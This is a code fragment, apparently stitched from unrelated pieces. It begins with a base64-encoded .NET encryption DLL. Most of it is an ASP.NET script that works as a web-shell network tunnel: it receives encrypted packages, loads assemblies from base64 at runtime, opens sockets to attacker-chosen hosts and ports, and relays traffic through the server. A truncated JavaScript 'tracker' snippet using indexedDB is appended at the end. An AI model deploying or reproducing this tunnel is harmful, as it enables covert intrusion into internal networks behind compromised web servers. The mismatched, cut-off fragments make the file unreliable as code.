AAAAEgAAAACAAUAiCAAAAAGAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEZ+AQAABAIoDgAACm8PAAAKKkZ+AQAABAJvEAAACigRAAAKKh4CKBIAAAoqLigTAAAKgAEAAAQqQlNKQgEAAQAAAAAADAAAAHYyLjAuNTA3MjcAAAAABQBsAAAAEAIAACN+AAB8AgAAjAIAACNTdHJpbmdzAAAAAAgFAAAEAAAAI1VTAAwFAAAQAAAAI0dVSUQAAAAcBQAA5AAAACNCbG9iAAAAAAAAAAIAAAFXFQAACQAAAAD6ATMAFgAAAQAAABEAAAACAAAAAQAAAAQAAAAEAAAAEwAAAA0AAAABAAAAAQAAAAAArgEBAAAAAAAGAPAAJAIGAF0BJAIGAD0A8gEPAEQCAAAGAGUAwAEGANMAwAEGALQAwAEGAEQBwAEGABABwAEGACkBwAEGAHwAwAEGAFEABQIGAC8ABQIGAJcAwAEGAFwCuQEGAHsBewIGAHMCuQEAAAAAGAAAAAAAAQABAAEAEAABANIBPQABAAEAEQDdAUAAUCAAAAAAlgBrAkQAAQBiIAAAAACWAGMCRAADAHQgAAAAAIYY5QEGAAUAfCAAAAAAkRjrAU0ABQAAAAEAIQAAAAIAhwIAAAEAIQAAAAIAhwIJAOUBAQARAOUBBgAZAOUBCgApAOUBEAAxAOUBEAA5AOUBEABBAOUBEABJAOUBEABRAOUBEABZAOUBEABhAOUBFQBpAOUBEABxAOUBEACJAJUBGgCBAFMCIACBAKQBJgCJAIQBLAB5AOUBBgCBAA8AMgAuAAsAUQAuABMAWgAuABsAeQAuACMAggAuACsAjgAuADMAjgAuADsAjgAuAEMAggAuAEsAlAAuAFMAjgAuAFsAjgAuAGMArAAuAGsA1gAEgAAAAQAAAAAAAAAAAAAAAAAIAAAAAgAAAAAAAAAAAAAANwAmAAAAAAAAAAAAAEJzYWU2NABCYXNlNjQAZ2V0X1VURjgAPE1vZHVsZT4AZGF0YQBtc2NvcmxpYgBHdWlkQXR0cmlidXRlAERlYnVnZ2FibGVBdHRyaWJ1dGUAQ29tVmlzaWJsZUF0dHJpYnV0ZQBBc3NlbWJseVRpdGxlQXR0cmlidXRlAEFzc2VtYmx5VHJhZGVtYXJrQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAQXNzZW1ibHlDb25maWd1cmF0aW9uQXR0cmlidXRlAEFzc2VtYmx5RGVzY3JpcHRpb25BdHRyaWJ1dGUAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBBc3NlbWJseVByb2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb3B5cmlnaHRBdHRyaWJ1dGUAQXNzZW1ibHlDb21wYW55QXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAEVuY29kaW5nAEZyb21CYXNlNjRTdHJpbmcAVG9CYXNlNjRTdHJpbmcAR2V0U3RyaW5nAEJhc2U2NC5kbGwAU3lzdGVtAFN5c3RlbS5SZWZsZWN0aW9uAEVuY3J5cHRpb24AZW5jb2RlcgAuY3RvcgAuY2N0b3IAU3lzdGVtLkRpYWdub3N0aWNzAFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcwBTeXN0ZW0uUnVudGltZS5Db21waWxlclNlcnZpY2VzAERlYnVnZ2luZ01vZGVzAEdldEJ5dGVzAE9iamVjdABkZWNyeXB0AGVuY3J5cHQAQ29udmVydABTeXN0ZW0uVGV4dABrZXkAAAAAAADadDck9lsiSIFB0/pRt354AAQgAQEIAyAAAQUgAQEREQQgAQEOBCABAQIFAAEOHQUFIAEdBQ4FIAEOHQUFAAEdBQ4EAAASQQi3elxWGTTgiQMGEkEIAAIdBR0FHQUDAAABCAEACAAAAAAAHgEAAQBUAhZXcmFwTm9uRXhjZXB0aW9uVGhyb3dzAQgBAAIAAAAAAAsBAAZCYXNlNjQAAAUBAAAAABcBABJDb3B5cmlnaHQgwqkgIDIwMTkAACkBACQ4ZTBhY2E2Ni0xYTk4LTRjOTktODRmNC1kMmE4YTJlZGI5YWUAAAwBAAcxLjAuMC4wAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAMwmAAAAAAAAAAAAAOYmAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAADYJgAAAAAAAAAAAAAAAF9Db3JEbGxNYWluAG1zY29yZWUuZGxsAAAAAAD/JQAgABAAAAAAAAAAAAAAAAAAAAAAA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",
|
| 78 |
+
"Encryption.Bsae64",
|
| 79 |
+
null) : EncryptionDll);
|
| 80 |
+
if (Request.TotalBytes > 0)
|
| 81 |
+
{
|
| 82 |
+
PackageManager Package = new PackageManager(Request.BinaryRead(Request.TotalBytes), EncryptionDll);
|
| 83 |
+
switch (Package.Type)
|
| 84 |
+
{
|
| 85 |
+
case PackageType.Data:
|
| 86 |
+
{
|
| 87 |
+
DataPackage DPackage = Package.GetPackage() as DataPackage;
|
| 88 |
+
Socket socket = GetParam(SessionKey) as Socket;
|
| 89 |
+
if (socket != null)
|
| 90 |
+
{
|
| 91 |
+
lock (socket)
|
| 92 |
+
{
|
| 93 |
+
if (DPackage.Data != null && DPackage.Data.Length > 0)
|
| 94 |
+
{
|
| 95 |
+
socket.Send(DPackage.Data);
|
| 96 |
+
}
|
| 97 |
+
try
|
| 98 |
+
{
|
| 99 |
+
byte[] rbuffer = new byte[PacketSize];
|
| 100 |
+
int bytesRead = socket.Receive(rbuffer);
|
| 101 |
+
if (bytesRead > 0)
|
| 102 |
+
{
|
| 103 |
+
if (bytesRead != rbuffer.Length)
|
| 104 |
+
Array.Resize(ref rbuffer, bytesRead);
|
| 105 |
+
WriteData(rbuffer, EncryptionDll);
|
| 106 |
+
}
|
| 107 |
+
}
|
| 108 |
+
catch (SocketException ex)
|
| 109 |
+
{
|
| 110 |
+
if (ex.SocketErrorCode != SocketError.WouldBlock)
|
| 111 |
+
WriteError(ex.ToString(), ErrorPlaces.OnReceive, EncryptionDll);
|
| 112 |
+
}
|
| 113 |
+
catch (Exception ex)
|
| 114 |
+
{
|
| 115 |
+
WriteError(ex.ToString(), ErrorPlaces.OnReceive, EncryptionDll);
|
| 116 |
+
}
|
| 117 |
+
}
|
| 118 |
+
}
|
| 119 |
+
break;
|
| 120 |
+
}
|
| 121 |
+
case PackageType.RDPConfig:
|
| 122 |
+
{
|
| 123 |
+
RDPConfigPackage CPackage = Package.GetPackage() as RDPConfigPackage;
|
| 124 |
+
if (CPackage != null)
|
| 125 |
+
{
|
| 126 |
+
Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
|
| 127 |
+
try { socket.Connect(new IPEndPoint(IPAddress.Parse(CPackage.IP), CPackage.PORT)); }
|
| 128 |
+
catch (Exception ex)
|
| 129 |
+
{
|
| 130 |
+
if (!ex.Message.ToLower().Contains("non-blocking"))
|
| 131 |
+
{
|
| 132 |
+
WriteError(ex.ToString(), ErrorPlaces.OnConnect, EncryptionDll);
|
| 133 |
+
return;
|
| 134 |
+
}
|
| 135 |
+
}
|
| 136 |
+
socket.ReceiveTimeout = socket.SendTimeout = -1;
|
| 137 |
+
socket.Blocking = CPackage.Blocking;
|
| 138 |
+
socket.NoDelay = CPackage.Nagle;
|
| 139 |
+
HttpContext.Current.Server.ScriptTimeout = CPackage.Timeout;
|
| 140 |
+
if (CPackage.PlaceStore == DataStores.Application)
|
| 141 |
+
{
|
| 142 |
+
Application[SessionKey] = socket;
|
| 143 |
+
Application[DllKey] = CPackage.EncryptionAssembly;
|
| 144 |
+
}
|
| 145 |
+
else
|
| 146 |
+
{
|
| 147 |
+
Session[SessionKey] = socket;
|
| 148 |
+
Session[DllKey] = CPackage.EncryptionAssembly;
|
| 149 |
+
}
|
| 150 |
+
WriteOK(EncryptionDll);
|
| 151 |
+
}
|
| 152 |
+
else
|
| 153 |
+
{
|
| 154 |
+
WriteError("Invalid Config Package.", ErrorPlaces.OnConfig, EncryptionDll);
|
| 155 |
+
}
|
| 156 |
+
break;
|
| 157 |
+
}
|
| 158 |
+
case PackageType.Dispose:
|
| 159 |
+
{
|
| 160 |
+
DisposeProcess();
|
| 161 |
+
break;
|
| 162 |
+
}
|
| 163 |
+
default: break;
|
| 164 |
+
|
| 165 |
+
}
|
| 166 |
+
}
|
| 167 |
+
else
|
| 168 |
+
{
|
| 169 |
+
if (Request.QueryString["WV-RESET"] != null)
|
| 170 |
+
{
|
| 171 |
+
DisposeProcess();
|
| 172 |
+
HttpContext.Current.Response.Write("OK");
|
| 173 |
+
}
|
| 174 |
+
else
|
| 175 |
+
{
|
| 176 |
+
HttpContext.Current.Response.Write("200\n" + BitConverter.ToString(Encoding.UTF8.GetBytes(EncryptionDll.EncryptionAssembly.FullName)).Replace("-", "") + "\n" + Version + "\n");
|
| 177 |
+
}
|
| 178 |
+
}
|
| 179 |
+
}
|
| 180 |
+
catch (Exception ex) { WriteError(ex.ToString(), ErrorPlaces.GENERAL, GetParam(DllKey) as EncryptionModule); }
|
| 181 |
+
}
|
| 182 |
+
void DisposeProcess()
|
| 183 |
+
{
|
| 184 |
+
CloseSocket(GetParam(SessionKey) as Socket);
|
| 185 |
+
RemoveParam(SessionKey);
|
| 186 |
+
RemoveParam(DllKey);
|
| 187 |
+
GC.Collect();
|
| 188 |
+
}
|
| 189 |
+
void WriteOK(EncryptionModule enc)
|
| 190 |
+
{
|
| 191 |
+
WriteBytes(enc.encrypt(new byte[] { (byte)PackageType.OK }));
|
| 192 |
+
}
|
| 193 |
+
void WriteData(byte[] buffer, EncryptionModule enc)
|
| 194 |
+
{
|
| 195 |
+
WriteBytes(new DataPackage(buffer, "", enc).GetBytes());
|
| 196 |
+
}
|
| 197 |
+
void WriteError(string err, ErrorPlaces place, EncryptionModule enc)
|
| 198 |
+
{
|
| 199 |
+
WriteBytes(new ErrorPackage(err, place, enc).GetBytes());
|
| 200 |
+
}
|
| 201 |
+
void WriteBytes(byte[] buffer)
|
| 202 |
+
{
|
| 203 |
+
Response.ContentType = "application/octet-stream";
|
| 204 |
+
Response.BinaryWrite(buffer);
|
| 205 |
+
}
|
| 206 |
+
abstract class Package
|
| 207 |
+
{
|
| 208 |
+
public PackageType Type;
|
| 209 |
+
public EncryptionModule Encryptor;
|
| 210 |
+
public Encoding Encoder = Encoding.UTF8;
|
| 211 |
+
public char LF = '\n';
|
| 212 |
+
public abstract byte[] GetBytes();
|
| 213 |
+
public byte[] GetDataSection(byte[] buffer)
|
| 214 |
+
{
|
| 215 |
+
byte[] Tbuffer = new byte[buffer.Length - 1];
|
| 216 |
+
System.Buffer.BlockCopy(buffer, 1, Tbuffer, 0, Tbuffer.Length);
|
| 217 |
+
return Tbuffer;
|
| 218 |
+
}
|
| 219 |
+
public string[] ParsePackage(byte[] buffer, int[] IgnoreI)
|
| 220 |
+
{
|
| 221 |
+
string[] Nodes = null;
|
| 222 |
+
byte[] tmp = this.Encryptor.decrypt(buffer);
|
| 223 |
+
this.Type = (PackageType)tmp[0];
|
| 224 |
+
buffer = this.GetDataSection(tmp);
|
| 225 |
+
string package_txt = Encoder.GetString(buffer);
|
| 226 |
+
if (package_txt.Contains(LF.ToString()))
|
| 227 |
+
{
|
| 228 |
+
Nodes = package_txt.Split(LF);
|
| 229 |
+
if (Nodes.Length > 0)
|
| 230 |
+
{
|
| 231 |
+
for (int i = 0; i < Nodes.Length; i++)
|
| 232 |
+
{
|
| 233 |
+
if (IgnoreI != null && IgnoreI.Length > 0 && IsContainsInt(IgnoreI, i))
|
| 234 |
+
{
|
| 235 |
+
Nodes[i] = Nodes[i];
|
| 236 |
+
}
|
| 237 |
+
else
|
| 238 |
+
{
|
| 239 |
+
try
|
| 240 |
+
{
|
| 241 |
+
Nodes[i] = this.Encoder.GetString(Convert.FromBase64String(Nodes[i]));
|
| 242 |
+
}
|
| 243 |
+
catch
|
| 244 |
+
{
|
| 245 |
+
}
|
| 246 |
+
}
|
| 247 |
+
}
|
| 248 |
+
}
|
| 249 |
+
}
|
| 250 |
+
return Nodes;
|
| 251 |
+
}
|
| 252 |
+
private bool IsContainsInt(int[] arry, int d)
|
| 253 |
+
{
|
| 254 |
+
foreach (int i in arry)
|
| 255 |
+
{
|
| 256 |
+
if (i == d) return true;
|
| 257 |
+
}
|
| 258 |
+
return false;
|
| 259 |
+
}
|
| 260 |
+
static byte[] Combine(params byte[][] arrays)
|
| 261 |
+
{
|
| 262 |
+
int array_lenght = 0;
|
| 263 |
+
foreach (byte[] buffer in arrays)
|
| 264 |
+
{
|
| 265 |
+
if (buffer == null) continue;
|
| 266 |
+
if (buffer.Length == 0) continue;
|
| 267 |
+
array_lenght += buffer.Length;
|
| 268 |
+
}
|
| 269 |
+
byte[] rv = new byte[array_lenght];
|
| 270 |
+
int offset = 0;
|
| 271 |
+
foreach (byte[] array in arrays)
|
| 272 |
+
{
|
| 273 |
+
if (array == null) continue;
|
| 274 |
+
if (array.Length == 0) continue;
|
| 275 |
+
|
| 276 |
+
System.Buffer.BlockCopy(array, 0, rv, offset, array.Length);
|
| 277 |
+
offset += array.Length;
|
| 278 |
+
}
|
| 279 |
+
return rv;
|
| 280 |
+
}
|
| 281 |
+
public byte[] CreateNodes(params object[] txt)
|
| 282 |
+
{
|
| 283 |
+
if (txt != null && txt.Length > 0)
|
| 284 |
+
{
|
| 285 |
+
string[] Nodes = new string[txt.Length];
|
| 286 |
+
for (int i = 0; i < txt.Length; i++)
|
| 287 |
+
{
|
| 288 |
+
if (txt[i] != null && txt[i].GetType() == typeof(string))
|
| 289 |
+
{
|
| 290 |
+
Nodes[i] = Convert.ToBase64String(this.Encoder.GetBytes((string)txt[i]));
|
| 291 |
+
}
|
| 292 |
+
else
|
| 293 |
+
{
|
| 294 |
+
byte[] buffer = txt[i] as byte[];
|
| 295 |
+
Nodes[i] = buffer == null ? null : Convert.ToBase64String(buffer);
|
| 296 |
+
}
|
| 297 |
+
|
| 298 |
+
}
|
| 299 |
+
return this.Encryptor.encrypt(Combine(new byte[] { (byte)this.Type }, this.Encoder.GetBytes(string.Join(this.LF.ToString(), Nodes) + this.LF)));
|
| 300 |
+
}
|
| 301 |
+
return null;
|
| 302 |
+
}
|
| 303 |
+
}
|
| 304 |
+
class PackageManager
|
| 305 |
+
{
|
| 306 |
+
public PackageType Type;
|
| 307 |
+
private byte[] PackageBuffer;
|
| 308 |
+
private EncryptionModule Encryptor;
|
| 309 |
+
public PackageManager(byte[] buffer, EncryptionModule encryptor)
|
| 310 |
+
{
|
| 311 |
+
this.Encryptor = encryptor;
|
| 312 |
+
this.PackageBuffer = encryptor.decrypt(buffer);
|
| 313 |
+
this.Type = (PackageType)this.PackageBuffer[0];
|
| 314 |
+
this.PackageBuffer = buffer;
|
| 315 |
+
}
|
| 316 |
+
public Package GetPackage()
|
| 317 |
+
{
|
| 318 |
+
switch (this.Type)
|
| 319 |
+
{
|
| 320 |
+
case PackageType.Data:
|
| 321 |
+
return new DataPackage(this.PackageBuffer, this.Encryptor);
|
| 322 |
+
case PackageType.Error:
|
| 323 |
+
return new ErrorPackage(this.PackageBuffer, this.Encryptor);
|
| 324 |
+
case PackageType.RDPConfig:
|
| 325 |
+
return new RDPConfigPackage(this.PackageBuffer, this.Encryptor);
|
| 326 |
+
default:
|
| 327 |
+
throw new System.Exception("Invalid Package Type.");
|
| 328 |
+
}
|
| 329 |
+
}
|
| 330 |
+
}
|
| 331 |
+
class RDPConfigPackage : Package
|
| 332 |
+
{
|
| 333 |
+
public string IP;
|
| 334 |
+
public int PORT;
|
| 335 |
+
public int Timeout;
|
| 336 |
+
public bool Blocking;
|
| 337 |
+
public bool Nagle = true;
|
| 338 |
+
public DataStores PlaceStore;
|
| 339 |
+
public EncryptionModule EncryptionAssembly;
|
| 340 |
+
public RDPConfigPackage(byte[] buffer, EncryptionModule encrypter)
|
| 341 |
+
{
|
| 342 |
+
this.Encryptor = encrypter;
|
| 343 |
+
string[] Nodes = this.ParsePackage(buffer, new int[] { 5, 6 });
|
| 344 |
+
if (Nodes.Length > 0)
|
| 345 |
+
{
|
| 346 |
+
this.IP = Nodes[0];
|
| 347 |
+
this.PORT = int.Parse(Nodes[1]);
|
| 348 |
+
this.Timeout = int.Parse(Nodes[2]);
|
| 349 |
+
this.Blocking = bool.Parse(Nodes[3]);
|
| 350 |
+
this.PlaceStore = (DataStores)DataStores.Parse(typeof(DataStores), Nodes[4]);
|
| 351 |
+
this.EncryptionAssembly =
|
| 352 |
+
new EncryptionModule(
|
| 353 |
+
Nodes[5],
|
| 354 |
+
Nodes[7],
|
| 355 |
+
Convert.FromBase64String(Nodes[6])
|
| 356 |
+
);
|
| 357 |
+
this.Nagle = bool.Parse(Nodes[8]);
|
| 358 |
+
}
|
| 359 |
+
}
|
| 360 |
+
public override byte[] GetBytes()
|
| 361 |
+
{
|
| 362 |
+
return this.CreateNodes(
|
| 363 |
+
this.IP,
|
| 364 |
+
this.PORT.ToString(),
|
| 365 |
+
this.Timeout.ToString(),
|
| 366 |
+
this.Blocking.ToString(),
|
| 367 |
+
this.PlaceStore.ToString(),
|
| 368 |
+
this.EncryptionAssembly.Buffer,
|
| 369 |
+
this.EncryptionAssembly.PrivateKey,
|
| 370 |
+
this.EncryptionAssembly.EncryptionNameSpace,
|
| 371 |
+
this.Nagle.ToString());
|
| 372 |
+
}
|
| 373 |
+
}
|
| 374 |
+
class ErrorPackage : Package
|
| 375 |
+
{
|
| 376 |
+
public string Error;
|
| 377 |
+
public ErrorPlaces Place;
|
| 378 |
+
public ErrorPackage(string err, ErrorPlaces place, EncryptionModule encrypter)
|
| 379 |
+
{
|
| 380 |
+
this.Type = PackageType.Error;
|
| 381 |
+
this.Error = err;
|
| 382 |
+
this.Place = place;
|
| 383 |
+
this.Encryptor = encrypter;
|
| 384 |
+
}
|
| 385 |
+
public ErrorPackage(byte[] buffer, EncryptionModule encrypter)
|
| 386 |
+
{
|
| 387 |
+
this.Encryptor = encrypter;
|
| 388 |
+
string[] Nodes = this.ParsePackage(buffer, null);
|
| 389 |
+
if (Nodes.Length > 0)
|
| 390 |
+
{
|
| 391 |
+
this.Error = Nodes[0];
|
| 392 |
+
this.Place = (ErrorPlaces)ErrorPlaces.Parse(typeof(ErrorPlaces), Nodes[1]);
|
| 393 |
+
}
|
| 394 |
+
}
|
| 395 |
+
public override byte[] GetBytes()
|
| 396 |
+
{
|
| 397 |
+
return this.CreateNodes(
|
| 398 |
+
this.Error,
|
| 399 |
+
this.Place.ToString());
|
| 400 |
+
}
|
| 401 |
+
}
|
| 402 |
+
class DataPackage : Package
|
| 403 |
+
{
|
| 404 |
+
public byte[] Data;
|
| 405 |
+
public DataPackage(byte[] data, string id, EncryptionModule encrypter)
|
| 406 |
+
{
|
| 407 |
+
base.Type = PackageType.Data;
|
| 408 |
+
this.Data = data;
|
| 409 |
+
this.Encryptor = encrypter;
|
| 410 |
+
}
|
| 411 |
+
public DataPackage(byte[] buffer, EncryptionModule encrypter)
|
| 412 |
+
{
|
| 413 |
+
this.Encryptor = encrypter;
|
| 414 |
+
string[] Nodes = this.ParsePackage(buffer, new int[] { 0 });
|
| 415 |
+
if (Nodes.Length > 0)
|
| 416 |
+
{
|
| 417 |
+
this.Data = Convert.FromBase64String(Nodes[0]);
|
| 418 |
+
}
|
| 419 |
+
}
|
| 420 |
+
public override byte[] GetBytes()
|
| 421 |
+
{
|
| 422 |
+
return this.CreateNodes(this.Data);
|
| 423 |
+
}
|
| 424 |
+
}
|
| 425 |
+
class EncryptionModule
|
| 426 |
+
{
|
| 427 |
+
public Assembly EncryptionAssembly;
|
| 428 |
+
public byte[] Buffer;
|
| 429 |
+
public byte[] PrivateKey;
|
| 430 |
+
public string EncryptionNameSpace;
|
| 431 |
+
public EncryptionModule(string dll_base64, string ns, byte[] key)
|
| 432 |
+
{
|
| 433 |
+
if (string.IsNullOrEmpty(dll_base64))
|
| 434 |
+
throw new Exception("Invalid Module.");
|
| 435 |
+
if (string.IsNullOrEmpty(ns))
|
| 436 |
+
throw new Exception("Invalid NameSpace.");
|
| 437 |
+
this.Buffer = Convert.FromBase64String(dll_base64);
|
| 438 |
+
this.EncryptionAssembly = Assembly.Load(this.Buffer);
|
| 439 |
+
this.EncryptionNameSpace = ns;
|
| 440 |
+
this.PrivateKey = key;
|
| 441 |
+
}
|
| 442 |
+
public byte[] encrypt(byte[] buffer)
|
| 443 |
+
{
|
| 444 |
+
return this.EncryptionAssembly.GetType(this.EncryptionNameSpace).GetMethod("encrypt").Invoke(null, new object[] { buffer, this.PrivateKey }) as byte[];
|
| 445 |
+
}
|
| 446 |
+
public byte[] decrypt(byte[] buffer)
|
| 447 |
+
{
|
| 448 |
+
return this.EncryptionAssembly.GetType(this.EncryptionNameSpace).GetMethod("decrypt").Invoke(null, new object[] { buffer, this.PrivateKey }) as byte[];
|
| 449 |
+
}
|
| 450 |
+
}
|
| 451 |
+
enum PackageType : byte
|
| 452 |
+
{
|
| 453 |
+
Data = 65,
|
| 454 |
+
Error,
|
| 455 |
+
RDPConfig,
|
| 456 |
+
OK,
|
| 457 |
+
Dispose
|
| 458 |
+
}
|
| 459 |
+
enum ErrorPlaces
|
| 460 |
+
{
|
| 461 |
+
OnSetupSocket,
|
| 462 |
+
OnConnect,
|
| 463 |
+
GENERAL,
|
| 464 |
+
OnReceive,
|
| 465 |
+
OnConfig
|
| 466 |
+
}
|
| 467 |
+
enum DataStores
|
| 468 |
+
{
|
| 469 |
+
Application,
|
| 470 |
+
Session
|
| 471 |
+
}
|
| 472 |
+
</script>
|
code/21682218bde550b2f06ee2bb4f6a39cff29672ebe27acbb3cee5db79bf6d7297
ADDED
|
@@ -0,0 +1,177 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
|
| 2 |
+
_0x761fab = "2msa5mmjhqxpdsyb5vlcnd2t";
|
| 3 |
+
|
| 4 |
+
function check0()
|
| 5 |
+
{
|
| 6 |
+
var DBOpenRequest = 0;
|
| 7 |
+
let intl = setInterval(function() {
|
| 8 |
+
DBOpenRequest = indexedDB.open("tracker", 5);
|
| 9 |
+
DBOpenRequest.onupgradeneeded = function(event) {
|
| 10 |
+
clearInterval(intl);
|
| 11 |
+
var db = DBOpenRequest.result;
|
| 12 |
+
var os = db.createObjectStore("store", { keyPath : "adv" });
|
| 13 |
+
os.createIndex("adv", "adv", { unique: true });
|
| 14 |
+
os.createIndex("value", "value", { unique: false });
|
| 15 |
+
};
|
| 16 |
+
DBOpenRequest.onsuccess = function(event) {
|
| 17 |
+
clearInterval(intl);
|
| 18 |
+
var db = DBOpenRequest.result;
|
| 19 |
+
window.db = db;
|
| 20 |
+
var trtr = db.transaction("store");
|
| 21 |
+
var objs = trtr.objectStore("store");
|
| 22 |
+
|
| 23 |
+
var req = objs.get("ids");
|
| 24 |
+
req.onsuccess = async (ev) => {
|
| 25 |
+
if (req.result)
|
| 26 |
+
{
|
| 27 |
+
let saved_tt = req.result.value;
|
| 28 |
